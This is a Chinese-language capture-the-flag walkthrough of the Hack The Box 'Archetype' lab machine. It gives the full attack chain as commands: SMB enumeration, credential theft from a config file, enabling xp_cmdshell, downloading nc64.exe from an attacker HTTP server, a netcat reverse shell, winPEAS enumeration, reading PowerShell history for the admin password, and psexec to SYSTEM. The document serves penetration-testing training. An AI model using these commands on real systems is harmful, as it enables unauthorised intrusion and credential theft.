先对SPAWN的机器扫描一下,nmap -sC -sV IP
扫描出了135,139,445,1433端口及具体信息。
TASK 1,数据库服务在哪个TCP端口?根据nmap的扫描结果,Microsoft SQL Server 2017服务运行在1433端口。
TASK 2,SMB上可用的非管理共享的名称是什么?
我们使用smbclient查看一下目标主机上可用的共享
smbclient -N -L IP (-N:不需要密码,-L:获取主机上可用的共享列表)
这里我们发现除了ADMIN$、C$和IPC$之外,还有一个backups,尝试空密码连接
smbclient \\IP\backups或smbclient -N \\IP\backups
所以这里的非管理共享是backups
TASK 3,SMB共享文件中标识的密码是什么?
ls,查看当前目录下的文件
get prod.dtsConfig,下载文件到本地
exit,退出
cat prod.dtsConfig,查看文件内容
看到User ID=sql_svc,Password=M3g4c0rp123,用于主机ARCHETYPE。
TASK 4,可以使用 Impacket 集合中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接?mssqlclient.py
首先了解一下什么是Impacket:
Impacket 是用于处理网络协议的 Python 类的集合。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,面向对象的 API 使得处理深度协议层次结构变得简单。 该库提供了一组工具作为可以在该库的上下文中完成的操作的示例。
下载地址:https://github.com/SecureAuthCorp/impacket
Impacket工具包里有一个python脚本mssqlclient.py可以连接到服务器并进行身份验证。我们使用backups里获得的账号密码连接到服务器。
python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth
进入SQL命令行,我们首先输入help查看支持的命令有哪些。
检查我们在该服务器中的身份
select is_srvrolemember('sysadmin');
判断我们是不是sysadmin,输出是1即True。
TASK 5,可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令行?
从上面的help返回结果可以发现,我们可以使用xp_cmdshell这个存储过程。
我们先测试一下xp_cmdshell是否开启。
exec xp_cmdshell "whoami";
这里显示xp_cmdshell已经被turned off。
我们使用sp_configure重新开启xp_cmdshell
exec sp_configure "show advanced options",1;
reconfigure;
exec sp_configure "xp_cmdshell",1;
reconfigure;
再次执行exec xp_cmdshell "whoami";成功
在本机作准备,开启HTTP SERVER,并使用nc等待目标机回连
在nc下载目录开启http server:sudo python3 -m http.server 80
监听1234端口:nc -lvvp 1234
为了在目标系统中上传二进制文件,我们需要找到合适的文件夹。通过xp_cmdshell执行powershell命令,-c:通过powershell执行命令,pwd:当前目录。
xp_cmdshell "powershell -c pwd"; 可以看到当前目录
作为ARCHETYPE/sql_svc用户,我们不一定有足够的权限能够将文件上传到系统目录中,甚至更高权限的操作。因此我们需要将我们当前的目录改成我们有一定权限的地方,比如我们用户的主目录
cd 进入 C:Userssql_svcDownloads目录下,然后使用wget命令下载我们http server上的nc64.exe
xp_cmdshell "powershell -c cd C:Userssql_svcDownloads; wget http://10.10.16.47/nc64.exe -outfile nc64.exe"
nc64.exe下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe
执行后,我们可以在python搭建的http server里看到记录,显示已经被该IP下载了。
然后使用nc的-e指令,连接到我们机器的1234端口
xp_cmdshell "powershell -c cd C:Userssql_svcDownloads; ./nc64.exe -e cmd.exe IP 1234"
一般的flag可能都会存放在目标机桌面,我们先进入改用户的Desktop下通过dir命令查看当前目录下内容
type user.txt 打印user.txt,得到user flag。
net user,发现sql_svc与Administrator不在一组,要进行提权
TASK 6,使用什么脚本来搜索可能提升 Windows 主机权限的方法?winPEAS工具
根据TASK 6的Hint,我们发现有一款工具叫做winPEAS,
下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
在反弹回的shell里,使用powershell下载我们本机HTTP SERVER下的winPEAS,自动化枚举目标系统的信息。
然后直接运行winPEASx64.exe等待扫描结果。
从输出中观察到Current Token privileges有 SeImpersonatePrivilege,容易受到 juicy potato 的攻击。首先检查可以找到凭据的两个现有文件。
由于这是一个普通用户帐户以及服务帐户,因此值得检查频繁访问的文件或执行的命令。为此,我们将读取 PowerShell 历史文件,它相当于 Linux 系统的.bash_history。文件ConsoleHost_history.txt位于目录C:Userssql_svcAppDataRoamingMicrosoftWindowsPowerShellPSReadline。
TASK 7,哪个文件包含了管理员的密码?通过winPEAS检索到了powershell 历史文件ConsoleHost_history.txt
cd C:Userssql_svcAppDataRoamingMicrosoftWindowsPowerShellPSReadline
type ConsoleHost_history.txt
在这里我们得到了user为administrator(管理员),密码MEGACORP_4dm1n!!
既然知道了管理员的用户名和密码,那么我们可以使用Impcaket工具包里的脚本psexec.py来横向,拿到administrator的shell。
python3 psexec.py administrator@10.129.171.111
然后输入administrator的密码,返回了一个system权限的shell
一般来说,flag一般存放在用户的desktop目录下,我们进入该目录发现root.txt,
打印该文件type root.txt得到flag
最后提交两个flag。



